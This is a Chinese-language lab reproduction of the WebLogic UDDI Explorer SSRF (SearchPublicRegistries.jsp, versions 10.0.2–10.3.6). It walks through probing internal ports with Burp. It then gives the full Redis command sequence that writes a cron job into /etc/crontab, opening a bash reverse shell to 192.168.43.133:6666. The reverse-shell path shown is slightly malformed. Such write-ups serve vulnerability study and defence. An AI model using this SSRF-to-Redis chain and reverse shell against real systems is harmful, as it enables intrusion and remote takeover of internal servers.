漏洞概述:
Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。
漏洞形成原因:
WebLogic Server 的 UDDI 组件(uddiexplorer.war
)中的 SearchPublicRegistries.jsp
文件。该文件允许用户输入外部 URL,但未对输入的 URL 进行严格的过滤和验证,导致攻击者可以利用此功能发起任意 HTTP 请求
影响范围:
weblogic 版本10.0.2--10.3.6
复现
1,访问7001这样就是搭建成功了
2,在url处访问ip:7001/uddiexplorer/,可查看uddiexplorer应用
3,漏洞位置存在于http://ip:7001/uddiexplorer/SearchPublicRegistries.jsp,在表单中随意输入内容使用burp抓包,发送到重放模块
4,可以看到数据包有一个url,我们通过更改进行测试
5, 当访问一个可用端口时,会收到一个带有状态码的错误响应。如果访问的是非HTTP协议,则会返回"did not have a valid SOAP content-type"错误。
6,当访问一个不存在的端口时,响应会显示"could not connect over HTTP to server"。
7, 我们通过命令进入容器里面获取ip地址
docker exec -it 32da04e35583 /bin/bash
netstat -tuln
8,然后通过ssrf探测端口,发现了6379,存在redis未授权, 将反弹 shell 的脚本写入目录/etc/crontab
(这个目录下是一个默认自动执行的一些 crontab 定时服务命令,里面都写的是一些开启服务的命令)
set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/evil/192.168.43.133/6666 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save